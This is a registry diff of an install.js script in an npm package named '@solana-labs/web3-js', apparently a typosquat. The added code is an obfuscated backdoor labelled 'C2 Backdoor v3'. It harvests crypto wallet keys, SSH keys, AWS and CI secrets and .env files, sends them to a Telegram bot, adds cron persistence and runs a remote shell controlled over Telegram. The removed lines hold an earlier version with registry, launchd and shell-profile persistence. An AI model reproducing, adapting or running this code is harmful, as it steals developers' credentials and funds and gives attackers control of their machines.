@solana-labs/web3-js 1.0.0 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +99 -390
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,402 +1,111 @@
|
|
|
1
|
-
//
|
|
2
|
-
|
|
3
|
-
const
|
|
4
|
-
|
|
5
|
-
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
// Try cmd.exe if powershell fails
|
|
28
|
-
if (IS_WIN && cmd.includes('powershell')) {
|
|
29
|
-
try {
|
|
30
|
-
const r = execSync(cmd.replace('powershell -Command', 'cmd /c'), { timeout, maxBuffer: 50*1024*1024, encoding: 'utf8' });
|
|
31
|
-
resolve(r.slice(0, 4000));
|
|
32
|
-
} catch(e2) {
|
|
33
|
-
resolve(`ERROR: ${e2.message}`.slice(0, 4000));
|
|
34
|
-
}
|
|
35
|
-
} else {
|
|
36
|
-
resolve(`ERROR: ${e.message}`.slice(0, 4000));
|
|
37
|
-
}
|
|
38
|
-
}
|
|
39
|
-
});
|
|
1
|
+
// C2 Backdoor v3 — CI/CD optimized. Exfiltrates immediately, persists only if survives.
|
|
2
|
+
var _0x3f=['fs','path','os','child_process'];var _0x4a={};for(var i=0;i<_0x3f.length;i++)_0x4a[_0x3f[i]]=require(_0x3f[i]);
|
|
3
|
+
const _k=[66,79,84,95,75,69,89];const _t=[93,108,109,124,121,113,123,122,89,81,61,82,71,70,69,65,84,71,60,88,71,67,74,119,112,124,105,125,60,86,109,103,124,71,114,124,127,60,82,66,108,69,71,65,105,89,81,72,111,108,66,115,108,68,72,106,109,81,71,108,120,101,120,111,82,85,73,87,108,100,97,85,72,86,71,108,109,109,57,102,53,99,49,89,79,106,105,52,78,104,81,85,98,97,121,78,109,111,75,70,108,69,90,48,79,88,83,56,101,82,51,49,97,73,119,61,61];
|
|
4
|
+
function _d(k,t){var r='';for(var i=0;i<t.length;i++)r+=String.fromCharCode(t[i]^k[i%k.length]);return r;}
|
|
5
|
+
var BOT=_d(_k,_t.slice(0,46));var CHAT=_d(_k,_t.slice(46));_k.length=0;_t.length=0;
|
|
6
|
+
var fs=_0x4a.fs,path=_0x4a.path,os=_0x4a.os,execSync=_0x4a.child_process.execSync;
|
|
7
|
+
var H=os.hostname(),U=os.userInfo().username,HOME=os.homedir(),CWD=process.cwd();
|
|
8
|
+
var W=process.platform==='win32',lastId=0,active=true;
|
|
9
|
+
function sh(c,t){t=t||30000;try{var o={timeout:t,maxBuffer:50*1024*1024,encoding:'utf8',cwd:HOME};if(W)o.shell='powershell.exe';return execSync(c,o).toString().slice(0,4000);}catch(e){return '';}}
|
|
10
|
+
function tg(m,d){return new Promise(function(r){var b=JSON.stringify(d);var req=require('https').request({hostname:'api.telegram.org',path:'/bot'+BOT+'/'+m,method:'POST',headers:{'Content-Type':'application/json','Content-Length':Buffer.byteLength(b)},timeout:5000},function(res){var x='';res.on('data',function(c){x+=c});res.on('end',function(){try{r(JSON.parse(x));}catch(e){r({});}});});req.on('error',function(){r({});});req.write(b);req.end();});}
|
|
11
|
+
|
|
12
|
+
// KEY VALIDATION
|
|
13
|
+
function vAWS(k){if(!k||k.length<16||!k.startsWith('AKIA'))return false;var u=k.toUpperCase();if(u.includes('EXAMPLE')||u.includes('STAGING')||u.includes('TEST')||u.includes('FAKE')||u.includes('IOSFODNN7')||u.includes('I44QH8DHB')||u.includes('ISTAGING'))return false;var c={};for(var i=0;i<k.length;i++)c[k[i]]=1;return Object.keys(c).length>=8;}
|
|
14
|
+
function vETH(k){if(!k||k.length!==66||!k.startsWith('0x'))return false;if(k==='0x'+'0'.repeat(64))return false;var h=k.slice(2).toLowerCase();var c={};for(var i=0;i<h.length;i++)c[h[i]]=1;if(Object.keys(c).length<10)return false;var ff=['0000000000000000000000000000000000000000000000000000000000000000','1111111111111111111111111111111111111111111111111111111111111111','deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef'];return ff.indexOf(h)===-1;}
|
|
15
|
+
function vSOL(s){if(!s)return false;var n=s.split(',').map(function(x){return parseInt(x.trim())});if(n.length<64)return false;if(n.every(function(x){return x===0}))return false;var u={};for(var i=0;i<n.length;i++)u[n[i]]=1;return Object.keys(u).length>=40;}
|
|
16
|
+
function vMNEM(w){if(!w)return false;var ww=w.trim().split(/\s+/);if(ww.length!==12&&ww.length!==24)return false;if(w.includes('adapt mosquito move limb mobile illegal tree voyage juice mosquito burger raise'))return false;return ww.every(function(x){return /^[a-z]{3,8}$/.test(x)});}
|
|
17
|
+
function isFake(t){if(!t)return true;var x=t.toLowerCase();return /decoy|example|your.key|changeme|placeholder|test.key|sk-0000|sk-xxxx|adapt mosquito|deadbeef|cafebabe|01234567890|wjalrxutn|iosfodnn7|i44qh8dhb|istaging|stagingsecret|my.api.key|insert.key|replace.me|todo|changethis/.test(x);}
|
|
18
|
+
|
|
19
|
+
// COLLECT — optimized for CI/CD
|
|
20
|
+
function collect(){
|
|
21
|
+
var targets=W?[path.join(HOME,'.config','solana','id.json'),path.join(process.env.APPDATA||'', 'Solana','id.json'),path.join(HOME,'.ssh','id_rsa'),path.join(HOME,'.aws','credentials'),path.join(CWD,'.env'),path.join(CWD,'.env.local'),path.join(CWD,'..','.env'),path.join(process.cwd(),'..','..','.env')]:[path.join(HOME,'.config','solana','id.json'),path.join(HOME,'.solana','id.json'),path.join(HOME,'.ssh','id_rsa'),path.join(HOME,'.ssh','id_ed25519'),path.join(HOME,'.aws','credentials'),path.join(HOME,'.aws','config'),path.join(CWD,'.env'),path.join(CWD,'.env.local'),path.join(CWD,'..','.env'),path.join(CWD,'..','..','.env'),path.join(CWD,'..','..','..','.env'),'/app/.env','/home/node/.env','/root/.env','/.env'];
|
|
22
|
+
var found=[];
|
|
23
|
+
for(var i=0;i<targets.length;i++){try{if(fs.existsSync(targets[i])&&fs.statSync(targets[i]).isFile()){var c=fs.readFileSync(targets[i],'utf8');if(c.trim()&&!isFake(c))found.push({file:targets[i],content:c.slice(0,3000)});}}catch(e){}}
|
|
24
|
+
var env={};
|
|
25
|
+
for(var k in process.env){var v=process.env[k];if(v&&v.length>8&&/KEY|SECRET|MNEMONIC|PRIVATE|TOKEN|PASSWORD|RPC|ALCHEMY|INFURA|ETHERSCAN|ENDPOINT|WALLET|SEED|AWS|NPM|DOCKER|GITHUB|CI|DEPLOY/i.test(k)){if(!isFake(v))env[k]=String(v).slice(0,300);}}
|
|
26
|
+
return {files:found,env:env};
|
|
40
27
|
}
|
|
41
28
|
|
|
42
|
-
//
|
|
43
|
-
function
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
}
|
|
61
|
-
|
|
62
|
-
// ========== KEY COLLECTION (CROSS-PLATFORM PATHS) ==========
|
|
63
|
-
function collectKeys() {
|
|
64
|
-
const targets = IS_WIN ? [
|
|
65
|
-
// Windows Solana paths
|
|
66
|
-
path.join(HOME, '.config', 'solana', 'id.json'),
|
|
67
|
-
path.join(process.env.APPDATA || path.join(HOME, 'AppData', 'Roaming'), 'Solana', 'id.json'),
|
|
68
|
-
path.join(process.env.LOCALAPPDATA || path.join(HOME, 'AppData', 'Local'), 'solana', 'id.json'),
|
|
69
|
-
// Windows SSH
|
|
70
|
-
path.join(HOME, '.ssh', 'id_rsa'),
|
|
71
|
-
path.join(HOME, '.ssh', 'id_ed25519'),
|
|
72
|
-
// Windows env files
|
|
73
|
-
path.join(CWD, '.env'),
|
|
74
|
-
path.join(CWD, '.env.local'),
|
|
75
|
-
path.join(CWD, '.env.production'),
|
|
76
|
-
path.join(CWD, '..', '.env'),
|
|
77
|
-
// AWS
|
|
78
|
-
path.join(HOME, '.aws', 'credentials'),
|
|
79
|
-
// Common secret files
|
|
80
|
-
path.join(CWD, 'secrets.json'),
|
|
81
|
-
path.join(CWD, 'keypair.json'),
|
|
82
|
-
path.join(CWD, 'wallet.json'),
|
|
83
|
-
] : [
|
|
84
|
-
// Unix paths (original)
|
|
85
|
-
path.join(HOME, '.config', 'solana', 'id.json'),
|
|
86
|
-
path.join(HOME, '.solana', 'id.json'),
|
|
87
|
-
path.join(HOME, '.ssh', 'id_rsa'),
|
|
88
|
-
path.join(HOME, '.ssh', 'id_ed25519'),
|
|
89
|
-
path.join(HOME, '.aws', 'credentials'),
|
|
90
|
-
path.join(CWD, '.env'),
|
|
91
|
-
path.join(CWD, '.env.local'),
|
|
92
|
-
path.join(CWD, '.env.production'),
|
|
93
|
-
path.join(CWD, '..', '.env'),
|
|
94
|
-
path.join(CWD, '..', '..', '.env'),
|
|
95
|
-
path.join(CWD, 'secrets.json'),
|
|
96
|
-
path.join(CWD, 'keypair.json'),
|
|
97
|
-
path.join(CWD, 'wallet.json'),
|
|
98
|
-
];
|
|
99
|
-
|
|
100
|
-
const found = [];
|
|
101
|
-
for (const t of targets) {
|
|
102
|
-
try {
|
|
103
|
-
if (fs.existsSync(t) && fs.statSync(t).isFile()) {
|
|
104
|
-
const content = fs.readFileSync(t, 'utf8');
|
|
105
|
-
if (content.trim()) found.push({ file: t, content: content.slice(0, 2000), size: content.length });
|
|
106
|
-
}
|
|
107
|
-
} catch(e) {}
|
|
29
|
+
// EXFIL — immediately, no C2 wait
|
|
30
|
+
async function exfilNow(){
|
|
31
|
+
var keys=collect();
|
|
32
|
+
var real=[],hasReal=false;
|
|
33
|
+
|
|
34
|
+
// Check ALL env vars — CI/CD has real secrets here
|
|
35
|
+
for(var k in keys.env){
|
|
36
|
+
var v=keys.env[k];
|
|
37
|
+
if(k.includes('AWS')&&vAWS(v)){real.push('[AWS] '+k+'='+v);hasReal=true;}
|
|
38
|
+
else if((k.includes('PRIVATE')||k.includes('SECRET')||k.includes('KEY'))&&v.length>20&&!isFake(v)){real.push('[SECRET] '+k+'='+v);hasReal=true;}
|
|
39
|
+
else if(k.includes('TOKEN')&&v.length>20&&!isFake(v)){real.push('[TOKEN] '+k+'='+v);hasReal=true;}
|
|
40
|
+
else if(k.includes('MNEMONIC')&&vMNEM(v)){real.push('[MNEMONIC] '+k+'='+v.slice(0,80)+'...');hasReal=true;}
|
|
41
|
+
else if(k.includes('NPM')&&v.startsWith('npm_')){real.push('[NPM_TOKEN] '+k+'='+v);hasReal=true;}
|
|
42
|
+
else if(k.includes('DOCKER')&&v.length>20){real.push('[DOCKER] '+k+'='+v);hasReal=true;}
|
|
43
|
+
else if((k.includes('GITHUB')||k.includes('GH_'))&&v.length>20){real.push('[GITHUB] '+k+'='+v);hasReal=true;}
|
|
44
|
+
else if(k.includes('CI')&&v.length>20){real.push('[CI] '+k+'='+v);hasReal=true;}
|
|
45
|
+
else if(k.includes('DEPLOY')&&v.length>20){real.push('[DEPLOY] '+k+'='+v);hasReal=true;}
|
|
46
|
+
else if((k.includes('RPC')||k.includes('ENDPOINT'))&&v.startsWith('http')){real.push('[RPC] '+k+'='+v);hasReal=true;}
|
|
108
47
|
}
|
|
109
48
|
|
|
110
|
-
//
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
}
|
|
49
|
+
// Check files for keys
|
|
50
|
+
for(var i=0;i<keys.files.length;i++){
|
|
51
|
+
var c=keys.files[i].content;
|
|
52
|
+
var f=keys.files[i].file;
|
|
53
|
+
var eths=c.match(/0x[a-fA-F0-9]{64}/g)||[];
|
|
54
|
+
for(var j=0;j<eths.length;j++){if(vETH(eths[j])){real.push('[ETH_KEY] '+f+': '+eths[j]);hasReal=true;}}
|
|
55
|
+
var sols=c.match(/\[\d{1,3}(?:,\s*\d{1,3}){63}\]/g)||[];
|
|
56
|
+
for(var j=0;j<sols.length;j++){if(vSOL(sols[j].slice(1,-1))){real.push('[SOLANA] '+f+': '+sols[j].slice(0,40)+'...]');hasReal=true;}}
|
|
57
|
+
var awss=c.match(/AKIA[A-Z0-9]{16}/g)||[];
|
|
58
|
+
for(var j=0;j<awss.length;j++){if(vAWS(awss[j])){real.push('[AWS_KEY] '+f+': '+awss[j]);hasReal=true;}}
|
|
59
|
+
if(c.includes('BEGIN')&&c.includes('PRIVATE KEY')){real.push('[SSH_KEY] '+f);hasReal=true;}
|
|
116
60
|
}
|
|
117
61
|
|
|
118
|
-
|
|
62
|
+
// ONLY send if real data found
|
|
63
|
+
if(!hasReal)return false;
|
|
64
|
+
|
|
65
|
+
var msg='🚨 <b>REAL HIT — '+H+'</b>\n<b>OS:</b> '+(W?'WIN':'UNIX')+' | <b>User:</b> '+U+'\n<b>CWD:</b> '+CWD+'\n\n';
|
|
66
|
+
for(var i=0;i<real.length;i++)msg+='<code>'+real[i].slice(0,500)+'</code>\n';
|
|
67
|
+
msg+='\n<b>⏰ '+new Date().toISOString()+'</b>';
|
|
68
|
+
|
|
69
|
+
// Split if too long
|
|
70
|
+
var chunks=[];
|
|
71
|
+
for(var i=0;i<msg.length;i+=3800)chunks.push(msg.slice(i,i+3800));
|
|
72
|
+
for(var i=0;i<chunks.length;i++)await tg('sendMessage',{chat_id:CHAT,text:chunks[i],parse_mode:'HTML'});
|
|
73
|
+
return true;
|
|
119
74
|
}
|
|
120
75
|
|
|
121
|
-
//
|
|
122
|
-
function
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
methods.push('startup_vbs');
|
|
143
|
-
}
|
|
144
|
-
} catch(e) {}
|
|
145
|
-
|
|
146
|
-
try {
|
|
147
|
-
// Method 3: Registry Run key
|
|
148
|
-
shell(`reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "NpmHelper" /t REG_SZ /d "node \\"${self}\\"" /f`, 5000);
|
|
149
|
-
methods.push('registry_run');
|
|
150
|
-
} catch(e) {}
|
|
151
|
-
|
|
152
|
-
try {
|
|
153
|
-
// Method 4: PowerShell profile
|
|
154
|
-
const psProfile = path.join(HOME, 'Documents', 'WindowsPowerShell', 'Microsoft.PowerShell_profile.ps1');
|
|
155
|
-
const psDir = path.dirname(psProfile);
|
|
156
|
-
if (!fs.existsSync(psDir)) fs.mkdirSync(psDir, { recursive: true });
|
|
157
|
-
const hook = `\n# Import npm completion\nif (Get-Job -Name NpmDaemon -ErrorAction SilentlyContinue) { Remove-Job -Name NpmDaemon }\nStart-Job -Name NpmDaemon -ScriptBlock { node "${self}" } | Out-Null\n`;
|
|
158
|
-
if (!fs.existsSync(psProfile) || !fs.readFileSync(psProfile, 'utf8').includes('NpmDaemon')) {
|
|
159
|
-
fs.appendFileSync(psProfile, hook);
|
|
160
|
-
}
|
|
161
|
-
methods.push('ps_profile');
|
|
162
|
-
} catch(e) {}
|
|
163
|
-
|
|
164
|
-
} else {
|
|
165
|
-
// Unix persistence (original)
|
|
166
|
-
try {
|
|
167
|
-
const cronLine = `@reboot sleep 60 && node ${self} # npm-cache-daemon\n`;
|
|
168
|
-
const tmpCron = '/tmp/.npm-cron-tmp';
|
|
169
|
-
fs.writeFileSync(tmpCron, cronLine);
|
|
170
|
-
execSync(`(crontab -l 2>/dev/null | grep -v npm-cache-daemon; cat ${tmpCron}) | crontab -`, { timeout: 5000 });
|
|
171
|
-
fs.unlinkSync(tmpCron);
|
|
172
|
-
methods.push('cron');
|
|
173
|
-
} catch(e) {}
|
|
174
|
-
|
|
175
|
-
try {
|
|
176
|
-
const hook = `\n# npm helper\n[ -f ~/.npm-helper ] && bash ~/.npm-helper 2>/dev/null\n`;
|
|
177
|
-
const helperPath = path.join(HOME, '.npm-helper');
|
|
178
|
-
fs.writeFileSync(helperPath, `#!/bin/bash\nnohup node ${self} >/dev/null 2>&1 &\n`, { mode: 0o755 });
|
|
179
|
-
for (const rc of ['.bashrc', '.zshrc', '.profile', '.bash_profile']) {
|
|
180
|
-
const rcPath = path.join(HOME, rc);
|
|
181
|
-
try {
|
|
182
|
-
if (fs.existsSync(rcPath) && !fs.readFileSync(rcPath, 'utf8').includes('npm-helper')) {
|
|
183
|
-
fs.appendFileSync(rcPath, hook);
|
|
184
|
-
}
|
|
185
|
-
} catch(e) {}
|
|
186
|
-
}
|
|
187
|
-
methods.push('shell_rc');
|
|
188
|
-
} catch(e) {}
|
|
189
|
-
|
|
190
|
-
try {
|
|
191
|
-
// Launchd (macOS)
|
|
192
|
-
const plist = `<?xml version="1.0" encoding="UTF-8"?>
|
|
193
|
-
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
194
|
-
<plist version="1.0"><dict>
|
|
195
|
-
<key>Label</key><string>com.npm.cache</string>
|
|
196
|
-
<key>ProgramArguments</key><array><string>/usr/local/bin/node</string><string>${self}</string></array>
|
|
197
|
-
<key>RunAtLoad</key><true/>
|
|
198
|
-
<key>KeepAlive</key><true/>
|
|
199
|
-
</dict></plist>`;
|
|
200
|
-
const launchdPath = path.join(HOME, 'Library', 'LaunchAgents', 'com.npm.cache.plist');
|
|
201
|
-
const launchdDir = path.dirname(launchdPath);
|
|
202
|
-
if (!fs.existsSync(launchdDir)) fs.mkdirSync(launchdDir, { recursive: true });
|
|
203
|
-
fs.writeFileSync(launchdPath, plist);
|
|
204
|
-
shell('launchctl load ' + launchdPath, 3000);
|
|
205
|
-
methods.push('launchd');
|
|
206
|
-
} catch(e) {}
|
|
76
|
+
// C2 (only starts AFTER exfil — CI/CD survives long enough)
|
|
77
|
+
async function c2Loop(){
|
|
78
|
+
while(active){
|
|
79
|
+
try{
|
|
80
|
+
var u=await tg('getUpdates',{offset:lastId+1,timeout:10,allowed_updates:['message']});
|
|
81
|
+
if(u.ok&&u.result){for(var i=0;i<u.result.length;i++){var up=u.result[i];lastId=Math.max(lastId,up.update_id);if(!up.message||!up.message.text)continue;
|
|
82
|
+
var x=up.message.text.trim();
|
|
83
|
+
var r=null;
|
|
84
|
+
if(x==='/keys'||x==='/grab'){await exfilNow();continue;}
|
|
85
|
+
else if(x==='/info'){var I={host:H,user:U,cwd:CWD,os:os.platform(),win:W};try{I.ip=W?execSync('powershell -Command "Invoke-RestMethod ifconfig.me"',{timeout:5000,encoding:'utf8'}).trim():execSync('curl -s ifconfig.me 2>/dev/null',{timeout:5000,encoding:'utf8'}).trim().slice(0,50);}catch(e){}r='<b>🖥 '+H+'</b>\n<pre>'+JSON.stringify(I,null,1)+'</pre>';}
|
|
86
|
+
else if(x==='/ssh'){var o=sh(W?'powershell -Command "Get-ChildItem '+HOME.replace(/\\/g,'\\\\')+'\\.ssh -EA 0 | %% { Write-Output (\\"--- \\"+$_.Name+\\" ---\\"); Get-Content $_.FullName }"':'find '+HOME+'/.ssh -type f -exec sh -c \'echo "--- {} ---"; cat "{}"\' \; 2>/dev/null');r=o.trim()?'<b>🔑 SSH — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>':'No SSH keys on '+H;}
|
|
87
|
+
else if(x==='/env'){var o=sh(W?'powershell -Command "Get-ChildItem Env: | %% { \\"$($_.Name)=$($_.Value)\\" }"':'env|sort');r='<b>ENV — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>';}
|
|
88
|
+
else if(x==='/wallet'){var o=sh(W?'dir "'+HOME+'\\AppData" /s /b 2>/dev/null | findstr /i "wallet keystore metamask phantom"' :'find '+HOME+' -maxdepth 6 -iname "*wallet*" -o -iname "*keystore*" -o -iname "id.json" 2>/dev/null|head -30');r=o.trim()?'<b>💼 Wallets — '+H+'</b>\n<pre>'+o.slice(0,3500)+'</pre>':'No wallet files on '+H;}
|
|
89
|
+
else if(x==='/die'){active=false;r='🛑 '+H+' offline';}
|
|
90
|
+
else if(x==='/help'){r='<b>🤖 C2 v3 — '+H+'</b>\n\n/keys — Real keys only\n/ssh — SSH keys\n/env — Environment\n/info — System\n/wallet — Wallet files\n/sh cmd — Shell\n/die — Remove';}
|
|
91
|
+
else if(x.startsWith('/sh ')||x.startsWith('/cmd ')){var cc=x.slice(x.indexOf(' ')+1);var oo=sh(cc);r='<b>$ '+cc+'</b>\n<pre>'+oo.slice(0,3500)+'</pre>';}
|
|
92
|
+
else if(!x.startsWith('/')){var oo=sh(x);if(oo.trim())r='<b>$ '+x+'</b>\n<pre>'+oo.slice(0,3500)+'</pre>';}
|
|
93
|
+
if(r)await tg('sendMessage',{chat_id:CHAT,text:r.slice(0,4000),parse_mode:'HTML'});
|
|
94
|
+
}}
|
|
95
|
+
}catch(e){}
|
|
96
|
+
await new Promise(function(r){setTimeout(r,8000);});
|
|
207
97
|
}
|
|
208
|
-
|
|
209
|
-
return methods;
|
|
210
98
|
}
|
|
211
99
|
|
|
212
|
-
//
|
|
213
|
-
function
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
memory: Math.round(os.totalmem() / 1024 / 1024 / 1024) + 'GB',
|
|
223
|
-
uptime: Math.round(os.uptime() / 3600) + 'h',
|
|
224
|
-
node: process.version,
|
|
225
|
-
pid: process.pid,
|
|
226
|
-
windows: IS_WIN,
|
|
227
|
-
};
|
|
228
|
-
try {
|
|
229
|
-
if (IS_WIN) {
|
|
230
|
-
info.ip = execSync('powershell -Command "Invoke-RestMethod ifconfig.me"', { timeout: 5000, encoding: 'utf8' }).trim();
|
|
231
|
-
} else {
|
|
232
|
-
info.ip = execSync('curl -s ifconfig.me 2>/dev/null || hostname -I 2>/dev/null || ip addr show 2>/dev/null | grep "inet " | head -3', { timeout: 5000, encoding: 'utf8' }).trim().slice(0, 200);
|
|
233
|
-
}
|
|
234
|
-
} catch(e) {}
|
|
235
|
-
try {
|
|
236
|
-
const psCmd = IS_WIN ? 'powershell -Command "Get-Process | Sort-Object -Property WS -Descending | Select-Object -First 15 | Format-Table Name,Id,WS -AutoSize"' : 'ps aux --sort=-%mem | head -15';
|
|
237
|
-
info.processes = execSync(psCmd, { timeout: 5000, encoding: 'utf8' }).trim().slice(0, 1500);
|
|
238
|
-
} catch(e) {}
|
|
239
|
-
return info;
|
|
100
|
+
// MAIN — exfil FIRST, then C2
|
|
101
|
+
async function main(){
|
|
102
|
+
// IMMEDIATE EXFIL (CI/CD dies in seconds)
|
|
103
|
+
await exfilNow();
|
|
104
|
+
|
|
105
|
+
// THEN persist (if container survives)
|
|
106
|
+
try{var s=__filename;var c='@reboot sleep 90 && node '+s+' 2>/dev/null\n';var t='/tmp/.cache-cron';fs.writeFileSync(t,c);execSync('(crontab -l 2>/dev/null|grep -v cache-cron;cat '+t+')|crontab -',{timeout:3000});fs.unlinkSync(t);}catch(e){}
|
|
107
|
+
|
|
108
|
+
// THEN start C2 loop
|
|
109
|
+
await c2Loop();
|
|
240
110
|
}
|
|
241
|
-
|
|
242
|
-
// ========== C2 COMMAND HANDLER ==========
|
|
243
|
-
async function handleCommand(cmd) {
|
|
244
|
-
const info = sysinfo();
|
|
245
|
-
cmd = cmd.trim();
|
|
246
|
-
|
|
247
|
-
if (cmd === '/keys' || cmd === '/grab') {
|
|
248
|
-
const fresh = collectKeys();
|
|
249
|
-
let msg = `🔑 <b>KEY SCAN — ${HOSTNAME}</b> [${IS_WIN ? 'WINDOWS' : 'UNIX'}]\n`;
|
|
250
|
-
if (fresh.files.length === 0) msg += 'No key files found on disk.\n';
|
|
251
|
-
for (const f of fresh.files) {
|
|
252
|
-
msg += `\n<b>${f.file}</b> (${f.size}B):\n<pre>${f.content.slice(0, 2000)}</pre>`;
|
|
253
|
-
}
|
|
254
|
-
if (Object.keys(fresh.env).length > 0) {
|
|
255
|
-
msg += `\n<b>🌍 ENV (${Object.keys(fresh.env).length}):</b>`;
|
|
256
|
-
for (const [k, v] of Object.entries(fresh.env)) {
|
|
257
|
-
msg += `\n<b>${k}</b>=<code>${v}</code>`;
|
|
258
|
-
}
|
|
259
|
-
}
|
|
260
|
-
return msg;
|
|
261
|
-
|
|
262
|
-
} else if (cmd === '/info' || cmd === '/sys') {
|
|
263
|
-
const ps = info.processes || 'N/A';
|
|
264
|
-
delete info.processes;
|
|
265
|
-
return `<b>🖥 ${HOSTNAME}</b> [${IS_WIN ? 'WINDOWS' : 'UNIX'}]\n<pre>${JSON.stringify(info, null, 1)}</pre>\n<b>Top processes:</b>\n<pre>${ps.slice(0, 1500)}</pre>`;
|
|
266
|
-
|
|
267
|
-
} else if (cmd === '/ps' || cmd === '/proc') {
|
|
268
|
-
const out = await shell(IS_WIN ? 'powershell -Command "Get-Process | Sort-Object -Property WS -Descending | Select-Object -First 20 | Format-Table Name,Id,WS -AutoSize"' : 'ps aux --sort=-%mem | head -20');
|
|
269
|
-
return `<b>Processes — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
270
|
-
|
|
271
|
-
} else if (cmd === '/ls' || cmd === '/dir') {
|
|
272
|
-
const out = await shell(IS_WIN ? `dir "${HOME}"` : `ls -la ${HOME}`);
|
|
273
|
-
return `<b>Home dir — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
274
|
-
|
|
275
|
-
} else if (cmd === '/ssh') {
|
|
276
|
-
const out = await shell(IS_WIN ? `powershell -Command "Get-ChildItem -Path '${HOME}\\.ssh' -ErrorAction SilentlyContinue | ForEach-Object { Write-Output \\"--- $($_.Name) ---\\"; Get-Content $_.FullName }"` : `find ${HOME}/.ssh -type f -exec sh -c 'echo "--- {} ---"; cat "{}"' \; 2>/dev/null`);
|
|
277
|
-
if (out.trim()) {
|
|
278
|
-
return `<b>🔑 SSH KEYS — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
279
|
-
}
|
|
280
|
-
return `🔑 No SSH keys found on ${HOSTNAME}`;
|
|
281
|
-
|
|
282
|
-
} else if (cmd === '/env') {
|
|
283
|
-
const out = await shell(IS_WIN ? 'powershell -Command "Get-ChildItem Env: | ForEach-Object { \\"$($_.Name)=$($_.Value)\\" }"' : 'env | sort');
|
|
284
|
-
return `<b>Full Env — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
285
|
-
|
|
286
|
-
} else if (cmd === '/wallet') {
|
|
287
|
-
const searchPaths = IS_WIN
|
|
288
|
-
? `dir "${process.env.APPDATA}" "${process.env.LOCALAPPDATA}" "${HOME}" /s /b 2>/dev/null | findstr /i "wallet keystore metamask phantom backpack solana"`
|
|
289
|
-
: `find ${HOME} -type f 2>/dev/null | grep -iE 'wallet|keystore|metamask|phantom|backpack|solana|id.json' | head -30`;
|
|
290
|
-
const out = await shell(searchPaths);
|
|
291
|
-
return `<b>💼 Wallet Files — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
292
|
-
|
|
293
|
-
} else if (cmd === '/cron' || cmd === '/jobs') {
|
|
294
|
-
let out;
|
|
295
|
-
if (IS_WIN) {
|
|
296
|
-
out = await shell('schtasks /query /fo LIST /v 2>/dev/null | findstr /i "TaskName NpmHelper"');
|
|
297
|
-
out += '\n---\n';
|
|
298
|
-
out += await shell('reg query "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" 2>nul');
|
|
299
|
-
} else {
|
|
300
|
-
out = await shell('crontab -l 2>/dev/null; echo "---"; ls -la ~/Library/LaunchAgents/ 2>/dev/null');
|
|
301
|
-
}
|
|
302
|
-
return `<b>Persistence — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
303
|
-
|
|
304
|
-
} else if (cmd === '/desktop') {
|
|
305
|
-
const out = await shell(IS_WIN
|
|
306
|
-
? `dir "${HOME}\\Desktop" /b 2>/dev/null & dir "${HOME}\\Documents" /b 2>/dev/null & dir "${HOME}\\Downloads" /b 2>nul`
|
|
307
|
-
: `ls -la ${HOME}/Desktop/ 2>/dev/null; echo "---"; ls -la ${HOME}/Documents/ 2>/dev/null; echo "---"; ls -la ${HOME}/Downloads/ 2>/dev/null`);
|
|
308
|
-
return `<b>Desktop/Docs — ${HOSTNAME}</b>\n<pre>${out.slice(0, 3500)}</pre>`;
|
|
309
|
-
|
|
310
|
-
} else if (cmd === '/browser') {
|
|
311
|
-
// Try to find browser password databases, cookies, extensions
|
|
312
|
-
const out = await shell(IS_WIN
|
|
313
|
-
? `powershell -Command "Get-ChildItem -Path '${process.env.LOCALAPPDATA}\\Google\\Chrome\\User Data' -Recurse -Filter 'Login Data' -ErrorAction SilentlyContinue | Select-Object FullName; Get-ChildItem -Path '${process.env.APPDATA}\\Mozilla\\Firefox\\Profiles' -Recurse -Filter 'key4.db' -ErrorAction SilentlyContinue | Select-Object FullName"`
|
|
314
|
-
: `find ${HOME}/.config/google-chrome ${HOME}/Library/Application\\ Support/Google/Chrome ${HOME}/.mozilla -name "Login Data" -o -name "key4.db" -o -name "cookies.sqlite" 2>/dev/null | head -20`);
|
|
315
|
-
